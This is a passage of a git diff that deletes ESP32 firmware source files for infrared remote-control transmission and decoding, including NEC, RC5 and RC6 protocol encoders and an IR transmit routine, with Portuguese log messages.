esp_err_to_name(ret)); - ir_tx_deinit(&ir_ctx); - return false; - } - ESP_LOGI(TAG, "✅ Encoder criado"); - - // Transmite baseado no protocolo - ret = ESP_FAIL; - - if (strcmp(ir_code.protocol, "NEC") == 0) { - ESP_LOGI(TAG, "Transmitindo NEC: addr=0x%04X, cmd=0x%04X", - (uint16_t)ir_code.address, (uint16_t)ir_code.command); - ret = ir_tx_send_nec(&ir_ctx, (uint16_t)ir_code.address, (uint16_t)ir_code.command); - } - else if (strcmp(ir_code.protocol, "RC6") == 0) { - // Para RC6, usa o toggle salvo no arquivo (ou alterna automaticamente) - uint8_t toggle = (ir_code.toggle != 0xFF) ? ir_code.toggle : g_rc6_toggle_state; - ESP_LOGI(TAG, "Transmitindo RC6: addr=0x%02X, cmd=0x%02X, toggle=%d", - (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - ret = ir_tx_send_rc6(&ir_ctx, (uint8_t)ir_code.address, (uint8_t)ir_code.command, toggle); - - // Alterna o toggle para próxima transmissão - if (ir_code.toggle == 0xFF) { - g_rc6_toggle_state = !g_rc6_toggle_state; - ESP_LOGD(TAG, "Toggle alternado para: %d", g_rc6_toggle_state); - } - } - - if (ret != ESP_OK) { - ESP_LOGE(TAG, "❌ Falha ao transmitir código IR: %s", esp_err_to_name(ret)); - ir_tx_deinit(&ir_ctx); - return false; - } - - ESP_LOGI(TAG, "✅ Código IR transmitido com sucesso!"); - - vTaskDelay(pdMS_TO_TICKS(100)); - ir_tx_deinit(&ir_ctx); - - ESP_LOGI(TAG, "=== FIM ir_tx_send_from_file ===\n"); - return true; -} - -esp_err_t ir_tx_init(ir_context_t *ctx) -{ - esp_err_t ret = ESP_OK; - - ESP_LOGI(TAG, "create RMT TX channel"); - rmt_tx_channel_config_t tx_channel_cfg = { - .clk_src = RMT_CLK_SRC_DEFAULT, - .resolution_hz = EXAMPLE_IR_RESOLUTION_HZ, - .mem_block_symbols = 64, - .trans_queue_depth = 4, - .gpio_num = EXAMPLE_IR_TX_GPIO_NUM, - }; - - ret = rmt_new_tx_channel(&tx_channel_cfg, &ctx->tx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to create TX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "modulate carrier to TX channel"); - rmt_carrier_config_t carrier_cfg = { - .duty_cycle = 0.33, - .frequency_hz = 38000, - }; - ret = rmt_apply_carrier(ctx->tx_channel, &carrier_cfg); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to apply carrier: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "enable RMT TX channel"); - ret = rmt_enable(ctx->tx_channel); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to enable TX channel: %s", esp_err_to_name(ret)); - return ret; - } - - ESP_LOGI(TAG, "TX module initialized successfully"); - return ret; -} - -esp_err_t ir_tx_deinit(ir_context_t *ctx) -{ - if (!ctx) { - ESP_LOGE(TAG, "Invalid context"); - return ESP_ERR_INVALID_ARG; - } - - esp_err_t ret = ESP_OK; - - if (ctx->encoder) { - ESP_LOGI(TAG, "Deleting IR encoder"); - esp_err_t del_enc_ret = rmt_del_encoder(ctx->encoder); - if (del_enc_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to delete encoder: %s", esp_err_to_name(del_enc_ret)); - ret = del_enc_ret; - } - ctx->encoder = NULL; - } - - if (ctx->tx_channel) { - ESP_LOGI(TAG, "Disabling RMT TX channel"); - esp_err_t disable_ret = rmt_disable(ctx->tx_channel); - if (disable_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to disable TX channel: %s", esp_err_to_name(disable_ret)); - ret = disable_ret; - } - - ESP_LOGI(TAG, "Deleting RMT TX channel"); - esp_err_t del_ret = rmt_del_channel(ctx->tx_channel); - if (del_ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to delete TX channel: %s", esp_err_to_name(del_ret)); - ret = del_ret; - } - ctx->tx_channel = NULL; - } - - if (ret == ESP_OK) { - ESP_LOGI(TAG, "TX module deinitialized successfully"); - } - - return ret; -} - -esp_err_t ir_tx_send_nec(ir_context_t *ctx, uint16_t address, uint16_t command) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_nec_scan_code_t scan_code = { - .address = address, - .command = command, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent NEC code - Address: 0x%04X, Command: 0x%04X", address, command); - } - - return ret; -} - -esp_err_t ir_tx_send_rc6(ir_context_t *ctx, uint8_t address, uint8_t command, uint8_t toggle) -{ - if (!ctx || !ctx->tx_channel || !ctx->encoder) { - ESP_LOGE(TAG, "TX not initialized"); - return ESP_ERR_INVALID_STATE; - } - - const ir_rc6_scan_code_t scan_code = { - .address = address, - .command = command, - .toggle = toggle & 0x1, - }; - - rmt_transmit_config_t transmit_config = { - .loop_count = 0 - }; - - esp_err_t ret = rmt_transmit(ctx->tx_channel, ctx->encoder, &scan_code, sizeof(scan_code), &transmit_config); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "Failed to transmit: %s", esp_err_to_name(ret)); - } else { - ESP_LOGI(TAG, "Sent RC6 code - Address: 0x%02X, Command: 0x%02X, Toggle: %d", - address, command, toggle); - } - - return ret; -} - -void ir_tx_reset_rc6_toggle(void) { - g_rc6_toggle_state = 0; - ESP_LOGI(TAG, "RC6 toggle state reset to 0"); -} diff --git a/firmware_c5/components/Service/ir/protocol_nec.c b/firmware_c5/components/Service/ir/protocol_nec.c deleted file mode 100644 index a66d2e44..00000000 --- a/firmware_c5/components/Service/ir/protocol_nec.c +++ /dev/null @@ -1,268 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "esp_check.h" -#include "ir_encoder.h" -#include "protocol_nec.h" -#include "ir_storage.h" - -static const char *TAG = "nec_encoder"; - -typedef struct { - rmt_encoder_t base; // the base "class", declares the standard encoder interface - rmt_encoder_t *copy_encoder; // use the copy_encoder to encode the leading and ending pulse - rmt_encoder_t *bytes_encoder; // use the bytes_encoder to encode the address and command data - rmt_symbol_word_t nec_leading_symbol; // NEC leading code with RMT representation - rmt_symbol_word_t nec_ending_symbol; // NEC ending code with RMT representation - int state; -} rmt_ir_nec_encoder_t; - -/** - * @brief Saving NEC decode results - */ -static uint16_t s_nec_code_address; -static uint16_t s_nec_code_command; - -static size_t rmt_encode_ir_nec(rmt_encoder_t *encoder, rmt_channel_handle_t channel, const void *primary_data, size_t data_size, rmt_encode_state_t *ret_state) -{ - rmt_ir_nec_encoder_t *nec_encoder = __containerof(encoder, rmt_ir_nec_encoder_t, base); - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - ir_nec_scan_code_t *scan_code = (ir_nec_scan_code_t *)primary_data; - rmt_encoder_handle_t copy_encoder = nec_encoder->copy_encoder; - rmt_encoder_handle_t bytes_encoder = nec_encoder->bytes_encoder; - switch (nec_encoder->state) { - case 0: // send leading code - encoded_symbols += copy_encoder->encode(copy_encoder, channel, &nec_encoder->nec_leading_symbol, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - nec_encoder->state = 1; // we can only switch to next state when current encoder finished - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space to put other encoding artifacts - } - // fall-through - case 1: // send address - encoded_symbols += bytes_encoder->encode(bytes_encoder, channel, &scan_code->address, sizeof(uint16_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - nec_encoder->state = 2; // we can only switch to next state when current encoder finished - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space to put other encoding artifacts - } - // fall-through - case 2: // send command - encoded_symbols += bytes_encoder->encode(bytes_encoder, channel, &scan_code->command, sizeof(uint16_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - nec_encoder->state = 3; // we can only switch to next state when current encoder finished - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space to put other encoding artifacts - } - // fall-through - case 3: // send ending code - encoded_symbols += copy_encoder->encode(copy_encoder, channel, &nec_encoder->nec_ending_symbol, - sizeof(rmt_symbol_word_t), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - nec_encoder->state = RMT_ENCODING_RESET; // back to the initial encoding session - state |= RMT_ENCODING_COMPLETE; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space to put other encoding artifacts - } - } -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_nec_encoder(rmt_encoder_t *encoder) -{ - rmt_ir_nec_encoder_t *nec_encoder = __containerof(encoder, rmt_ir_nec_encoder_t, base); - rmt_del_encoder(nec_encoder->copy_encoder); - rmt_del_encoder(nec_encoder->bytes_encoder); - free(nec_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_nec_encoder_reset(rmt_encoder_t *encoder) -{ - rmt_ir_nec_encoder_t *nec_encoder = __containerof(encoder, rmt_ir_nec_encoder_t, base); - rmt_encoder_reset(nec_encoder->copy_encoder); - rmt_encoder_reset(nec_encoder->bytes_encoder); - nec_encoder->state = RMT_ENCODING_RESET; - return ESP_OK; -} - -esp_err_t rmt_new_ir_nec_encoder(const ir_nec_encoder_config_t *config, rmt_encoder_handle_t *ret_encoder) -{ - esp_err_t ret = ESP_OK; - rmt_ir_nec_encoder_t *nec_encoder = NULL; - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - nec_encoder = rmt_alloc_encoder_mem(sizeof(rmt_ir_nec_encoder_t)); - ESP_GOTO_ON_FALSE(nec_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for ir nec encoder"); - nec_encoder->base.encode = rmt_encode_ir_nec; - nec_encoder->base.del = rmt_del_ir_nec_encoder; - nec_encoder->base.reset = rmt_ir_nec_encoder_reset; - - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &nec_encoder->copy_encoder), err, TAG, "create copy encoder failed"); - - // construct the leading code and ending code with RMT symbol format - nec_encoder->nec_leading_symbol = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = 9000ULL * config->resolution / 1000000, - .level1 = 0, - .duration1 = 4500ULL * config->resolution / 1000000, - }; - nec_encoder->nec_ending_symbol = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = 560 * config->resolution / 1000000, - .level1 = 0, - .duration1 = 0x7FFF, - }; - - rmt_bytes_encoder_config_t bytes_encoder_config = { - .bit0 = { - .level0 = 1, - .duration0 = 560 * config->resolution / 1000000, // T0H=560us - .level1 = 0, - .duration1 = 560 * config->resolution / 1000000, // T0L=560us - }, - .bit1 = { - .level0 = 1, - .duration0 = 560 * config->resolution / 1000000, // T1H=560us - .level1 = 0, - .duration1 = 1690 * config->resolution / 1000000, // T1L=1690us - }, - }; - ESP_GOTO_ON_ERROR(rmt_new_bytes_encoder(&bytes_encoder_config, &nec_encoder->bytes_encoder), err, TAG, "create bytes encoder failed"); - - *ret_encoder = &nec_encoder->base; - return ESP_OK; -err: - if (nec_encoder) { - if (nec_encoder->bytes_encoder) { - rmt_del_encoder(nec_encoder->bytes_encoder); - } - if (nec_encoder->copy_encoder) { - rmt_del_encoder(nec_encoder->copy_encoder); - } - free(nec_encoder); - } - return ret; -} - -static inline bool nec_check_in_range(uint32_t signal_duration, uint32_t spec_duration) -{ - return (signal_duration < (spec_duration + EXAMPLE_IR_NEC_DECODE_MARGIN)) && - (signal_duration > (spec_duration - EXAMPLE_IR_NEC_DECODE_MARGIN)); -} - -static bool nec_parse_logic0(rmt_symbol_word_t *rmt_nec_symbols) -{ - return nec_check_in_range(rmt_nec_symbols->duration0, NEC_PAYLOAD_ZERO_DURATION_0) && - nec_check_in_range(rmt_nec_symbols->duration1, NEC_PAYLOAD_ZERO_DURATION_1); -} - -static bool nec_parse_logic1(rmt_symbol_word_t *rmt_nec_symbols) -{ - return nec_check_in_range(rmt_nec_symbols->duration0, NEC_PAYLOAD_ONE_DURATION_0) && - nec_check_in_range(rmt_nec_symbols->duration1, NEC_PAYLOAD_ONE_DURATION_1); -} - -static bool nec_parse_frame(rmt_symbol_word_t *rmt_nec_symbols) -{ - rmt_symbol_word_t *cur = rmt_nec_symbols; - uint16_t address = 0; - uint16_t command = 0; - bool valid_leading_code = nec_check_in_range(cur->duration0, NEC_LEADING_CODE_DURATION_0) && - nec_check_in_range(cur->duration1, NEC_LEADING_CODE_DURATION_1); - if (!valid_leading_code) { - return false; - } - cur++; - for (int i = 0; i < 16; i++) { - if (nec_parse_logic1(cur)) { - address |= 1 << i; - } else if (nec_parse_logic0(cur)) { - address &= ~(1 << i); - } else { - return false; - } - cur++; - } - for (int i = 0; i < 16; i++) { - if (nec_parse_logic1(cur)) { - command |= 1 << i; - } else if (nec_parse_logic0(cur)) { - command &= ~(1 << i); - } else { - return false; - } - cur++; - } - s_nec_code_address = address; - s_nec_code_command = command; - return true; -} - -static bool nec_parse_frame_repeat(rmt_symbol_word_t *rmt_nec_symbols) -{ - return nec_check_in_range(rmt_nec_symbols->duration0, NEC_REPEAT_CODE_DURATION_0) && - nec_check_in_range(rmt_nec_symbols->duration1, NEC_REPEAT_CODE_DURATION_1); -} - -void parse_nec_frame(rmt_symbol_word_t *rmt_nec_symbols, size_t symbol_num, const char* filename) -{ - printf("NEC frame start---\r\n"); - for (size_t i = 0; i < symbol_num; i++) { - printf("{%d:%d},{%d:%d}\r\n", - rmt_nec_symbols[i].level0, rmt_nec_symbols[i].duration0, - rmt_nec_symbols[i].level1, rmt_nec_symbols[i].duration1); - } - printf("---NEC frame end: "); - switch (symbol_num) { - case 34: - if (nec_parse_frame(rmt_nec_symbols)) { - printf("Address=%04X, Command=%04X\r\n\r\n", - s_nec_code_address, s_nec_code_command); - } - - if (ir_save("NEC", s_nec_code_command, s_nec_code_address, filename)) { - ESP_LOGI(TAG, "Código salvo: %s.ir (Protocol=NEC, Address=0x%04X, Command=0x%04X)", - filename, s_nec_code_address, s_nec_code_command); - } else { - ESP_LOGE(TAG, "Falha ao salvar código IR"); - } - - break; - case 2: - if (nec_parse_frame_repeat(rmt_nec_symbols)) { - printf("Address=%04X, Command=%04X, repeat\r\n\r\n", - s_nec_code_address, s_nec_code_command); - } - break; - default: - printf("Unknown NEC frame\r\n\r\n"); - break; - } -} - diff --git a/firmware_c5/components/Service/ir/protocol_rc5.c b/firmware_c5/components/Service/ir/protocol_rc5.c deleted file mode 100644 index 28b9ebf9..00000000 --- a/firmware_c5/components/Service/ir/protocol_rc5.c +++ /dev/null @@ -1,201 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_encoder.h" -#include "protocol_rc5.h" -#include "esp_check.h" -#include - -static const char *TAG = "rc5_encoder"; - -// Timings RC5 em microsegundos -#define RC5_UNIT 889 // Unidade base (Manchester) - -typedef struct { - rmt_encoder_t base; - rmt_encoder_t *copy_encoder; - rmt_symbol_word_t *symbols; - size_t num_symbols; - size_t current_symbol; - uint32_t resolution; - int state; -} rmt_ir_rc5_encoder_t; - -static inline uint32_t us_to_ticks(uint32_t us, uint32_t resolution) { - return (us * resolution) / 1000000; -} - -static void build_rc5_symbols(rmt_ir_rc5_encoder_t *encoder, const ir_rc5_scan_code_t *scan_code) { - uint32_t res = encoder->resolution; - size_t idx = 0; - - // Construir frame: 2 start bits + 1 toggle + 5 address + 6 command = 14 bits - uint16_t frame = 0; - frame |= (0x3 << 11); // 2 start bits (sempre 11) - frame |= ((scan_code->toggle & 0x1) << 10); - frame |= ((scan_code->address & 0x1F) << 6); - frame |= (scan_code->command & 0x3F); - - ESP_LOGI(TAG, "Building RC5 frame: 0x%04X (addr=0x%02X, cmd=0x%02X, toggle=%d)", - frame, scan_code->address, scan_code->command, scan_code->toggle); - - // Aloca símbolos (14 bits * 2 transições cada = 28 símbolos máximo) - encoder->symbols = malloc(sizeof(rmt_symbol_word_t) * 30); - if (!encoder->symbols) { - ESP_LOGE(TAG, "Failed to allocate symbols"); - return; - } - - // Manchester encoding: bit 1 = space->mark, bit 0 = mark->space - for (int i = 12; i >= 0; i--) { // 13 bits (2 start + 1 toggle + 5 addr + 6 cmd) - bool bit = (frame >> i) & 1; - - if (bit) { - // Bit 1: space (low) -> mark (high) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = us_to_ticks(RC5_UNIT, res), - .level1 = 1, - .duration1 = us_to_ticks(RC5_UNIT, res) - }; - } else { - // Bit 0: mark (high) -> space (low) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(RC5_UNIT, res), - .level1 = 0, - .duration1 = us_to_ticks(RC5_UNIT, res) - }; - } - } - - // Ending space - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = us_to_ticks(RC5_UNIT, res), - .level1 = 0, - .duration1 = 0 - }; - - encoder->num_symbols = idx; - ESP_LOGI(TAG, "Built %zu symbols", encoder->num_symbols); -} - -static size_t rmt_encode_ir_rc5(rmt_encoder_t *encoder, rmt_channel_handle_t channel, - const void *primary_data, size_t data_size, - rmt_encode_state_t *ret_state) { - rmt_ir_rc5_encoder_t *rc5_encoder = __containerof(encoder, rmt_ir_rc5_encoder_t, base); - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - - if (rc5_encoder->state == 0) { - ir_rc5_scan_code_t *scan_code = (ir_rc5_scan_code_t *)primary_data; - build_rc5_symbols(rc5_encoder, scan_code); - rc5_encoder->current_symbol = 0; - rc5_encoder->state = 1; - } - - while (rc5_encoder->current_symbol < rc5_encoder->num_symbols) { - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - - encoded_symbols += rc5_encoder->copy_encoder->encode( - rc5_encoder->copy_encoder, - channel, - &rc5_encoder->symbols[rc5_encoder->current_symbol], - sizeof(rmt_symbol_word_t), - &session_state - ); - - if (session_state & RMT_ENCODING_COMPLETE) { - rc5_encoder->current_symbol++; - } - - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - } - - rc5_encoder->state = 0; - state |= RMT_ENCODING_COMPLETE; - -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_rc5_encoder(rmt_encoder_t *encoder) { - rmt_ir_rc5_encoder_t *rc5_encoder = __containerof(encoder, rmt_ir_rc5_encoder_t, base); - - if (rc5_encoder->symbols) { - free(rc5_encoder->symbols); - } - if (rc5_encoder->copy_encoder) { - rmt_del_encoder(rc5_encoder->copy_encoder); - } - free(rc5_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_rc5_encoder_reset(rmt_encoder_t *encoder) { - rmt_ir_rc5_encoder_t *rc5_encoder = __containerof(encoder, rmt_ir_rc5_encoder_t, base); - rmt_encoder_reset(rc5_encoder->copy_encoder); - rc5_encoder->state = 0; - rc5_encoder->current_symbol = 0; - - if (rc5_encoder->symbols) { - free(rc5_encoder->symbols); - rc5_encoder->symbols = NULL; - } - - return ESP_OK; -} - -esp_err_t rmt_new_ir_rc5_encoder(const ir_rc5_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder) { - esp_err_t ret = ESP_OK; - rmt_ir_rc5_encoder_t *rc5_encoder = NULL; - - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - - rc5_encoder = rmt_alloc_encoder_mem(sizeof(rmt_ir_rc5_encoder_t)); - ESP_GOTO_ON_FALSE(rc5_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for rc5 encoder"); - - rc5_encoder->base.encode = rmt_encode_ir_rc5; - rc5_encoder->base.del = rmt_del_ir_rc5_encoder; - rc5_encoder->base.reset = rmt_ir_rc5_encoder_reset; - rc5_encoder->resolution = config->resolution; - rc5_encoder->symbols = NULL; - rc5_encoder->num_symbols = 0; - rc5_encoder->current_symbol = 0; - rc5_encoder->state = 0; - - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &rc5_encoder->copy_encoder), - err, TAG, "create copy encoder failed"); - - *ret_encoder = &rc5_encoder->base; - ESP_LOGI(TAG, "RC5 encoder created successfully"); - return ESP_OK; - -err: - if (rc5_encoder) { - if (rc5_encoder->copy_encoder) { - rmt_del_encoder(rc5_encoder->copy_encoder); - } - free(rc5_encoder); - } - return ret; -} diff --git a/firmware_c5/components/Service/ir/protocol_rc6.c b/firmware_c5/components/Service/ir/protocol_rc6.c deleted file mode 100644 index 6d92afa7..00000000 --- a/firmware_c5/components/Service/ir/protocol_rc6.c +++ /dev/null @@ -1,225 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "ir_encoder.h" -#include "protocol_rc6.h" -#include "esp_check.h" -#include - -static const char *TAG = "rc6_encoder"; - -// Timings RC6 em microsegundos -#define RC6_UNIT 444 // Unidade base -#define RC6_HEADER_MARK 2666 // 6T -#define RC6_HEADER_SPACE 889 // 2T - -typedef struct { - rmt_encoder_t base; - rmt_encoder_t *copy_encoder; - rmt_symbol_word_t *symbols; - size_t num_symbols; - size_t current_symbol; - uint32_t resolution; - int state; -} rmt_ir_rc6_encoder_t; - -static inline uint32_t us_to_ticks(uint32_t us, uint32_t resolution) { - return (us * resolution) / 1000000; -} - -static void build_rc6_symbols(rmt_ir_rc6_encoder_t *encoder, const ir_rc6_scan_code_t *scan_code) { - uint32_t res = encoder->resolution; - size_t idx = 0; - - // Construir frame: Mode(3) + Toggle(1) + Address(8) + Command(8) = 20 bits - uint32_t frame = 0; - frame |= (0x0 << 17); // Mode 000 - frame |= ((scan_code->toggle & 0x1) << 16); - frame |= ((uint32_t)scan_code->address << 8); - frame |= scan_code->command; - - ESP_LOGI(TAG, "Building RC6 frame: 0x%05lX (addr=0x%02X, cmd=0x%02X, toggle=%d)", - frame, scan_code->address, scan_code->command, scan_code->toggle); - - // Aloca array de símbolos (header + start + 20 bits data * 2 + margem) - encoder->symbols = malloc(sizeof(rmt_symbol_word_t) * 50); - if (!encoder->symbols) { - ESP_LOGE(TAG, "Failed to allocate symbols"); - return; - } - - // Header: 6T mark + 2T space - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(RC6_HEADER_MARK, res), - .level1 = 0, - .duration1 = us_to_ticks(RC6_HEADER_SPACE, res) - }; - - // Start bit: sempre 1 (1T mark + 1T space) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(RC6_UNIT, res), - .level1 = 0, - .duration1 = us_to_ticks(RC6_UNIT, res) - }; - - // Enviar 20 bits de dados (MSB first) com Manchester encoding - for (int i = 19; i >= 0; i--) { - bool bit = (frame >> i) & 1; - bool is_toggle = (i == 16); // Bit 16 é o toggle (double width) - - uint32_t duration = is_toggle ? (RC6_UNIT * 2) : RC6_UNIT; - - if (bit) { - // Bit 1: mark + space (Manchester) - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 1, - .duration0 = us_to_ticks(duration, res), - .level1 = 0, - .duration1 = us_to_ticks(duration, res) - }; - } else { - // Bit 0: space + mark - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = us_to_ticks(duration, res), - .level1 = 1, - .duration1 = us_to_ticks(duration, res) - }; - } - } - - // Ending space - encoder->symbols[idx++] = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = us_to_ticks(RC6_UNIT, res), - .level1 = 0, - .duration1 = 0 - }; - - encoder->num_symbols = idx; - ESP_LOGI(TAG, "Built %zu symbols", encoder->num_symbols); -} - -static size_t rmt_encode_ir_rc6(rmt_encoder_t *encoder, rmt_channel_handle_t channel, - const void *primary_data, size_t data_size, - rmt_encode_state_t *ret_state) { - rmt_ir_rc6_encoder_t *rc6_encoder = __containerof(encoder, rmt_ir_rc6_encoder_t, base); - rmt_encode_state_t state = RMT_ENCODING_RESET; - size_t encoded_symbols = 0; - - if (rc6_encoder->state == 0) { - // Primeira vez - construir símbolos - ir_rc6_scan_code_t *scan_code = (ir_rc6_scan_code_t *)primary_data; - build_rc6_symbols(rc6_encoder, scan_code); - rc6_encoder->current_symbol = 0; - rc6_encoder->state = 1; - } - - // Enviar símbolos um por um - while (rc6_encoder->current_symbol < rc6_encoder->num_symbols) { - rmt_encode_state_t session_state = RMT_ENCODING_RESET; - - encoded_symbols += rc6_encoder->copy_encoder->encode( - rc6_encoder->copy_encoder, - channel, - &rc6_encoder->symbols[rc6_encoder->current_symbol], - sizeof(rmt_symbol_word_t), - &session_state - ); - - if (session_state & RMT_ENCODING_COMPLETE) { - rc6_encoder->current_symbol++; - } - - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; - } - } - - // Tudo enviado - rc6_encoder->state = 0; - state |= RMT_ENCODING_COMPLETE; - -out: - *ret_state = state; - return encoded_symbols; -} - -static esp_err_t rmt_del_ir_rc6_encoder(rmt_encoder_t *encoder) { - rmt_ir_rc6_encoder_t *rc6_encoder = __containerof(encoder, rmt_ir_rc6_encoder_t, base); - - if (rc6_encoder->symbols) { - free(rc6_encoder->symbols); - } - if (rc6_encoder->copy_encoder) { - rmt_del_encoder(rc6_encoder->copy_encoder); - } - free(rc6_encoder); - return ESP_OK; -} - -static esp_err_t rmt_ir_rc6_encoder_reset(rmt_encoder_t *encoder) { - rmt_ir_rc6_encoder_t *rc6_encoder = __containerof(encoder, rmt_ir_rc6_encoder_t, base); - rmt_encoder_reset(rc6_encoder->copy_encoder); - rc6_encoder->state = 0; - rc6_encoder->current_symbol = 0; - - if (rc6_encoder->symbols) { - free(rc6_encoder->symbols); - rc6_encoder->symbols = NULL; - } - - return ESP_OK; -} - -esp_err_t rmt_new_ir_rc6_encoder(const ir_rc6_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder) { - esp_err_t ret = ESP_OK; - rmt_ir_rc6_encoder_t *rc6_encoder = NULL; - - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - - rc6_encoder = rmt_alloc_encoder_mem(sizeof(rmt_ir_rc6_encoder_t)); - ESP_GOTO_ON_FALSE(rc6_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for rc6 encoder"); - - rc6_encoder->base.encode = rmt_encode_ir_rc6; - rc6_encoder->base.del = rmt_del_ir_rc6_encoder; - rc6_encoder->base.reset = rmt_ir_rc6_encoder_reset; - rc6_encoder->resolution = config->resolution; - rc6_encoder->symbols = NULL; - rc6_encoder->num_symbols = 0; - rc6_encoder->current_symbol = 0; - rc6_encoder->state = 0; - - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &rc6_encoder->copy_encoder), - err, TAG, "create copy encoder failed"); - - *ret_encoder = &rc6_encoder->base; - ESP_LOGI(TAG, "RC6 encoder created successfully"); - return ESP_OK; - -err: - if (rc6_encoder) { - if (rc6_encoder->copy_encoder) { - rmt_del_encoder(rc6_encoder->copy_encoder); - } - free(rc6_encoder); - } - return ret; -} diff --git a/firmware_c5/components/Service/ir/protocol_samsung32.c b/firmware_c5/components/Service/ir/protocol_samsung32.c deleted file mode 100644 index cf187622..00000000 --- a/firmware_c5/components/Service/ir/protocol_samsung32.c +++ /dev/null @@ -1,179 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// 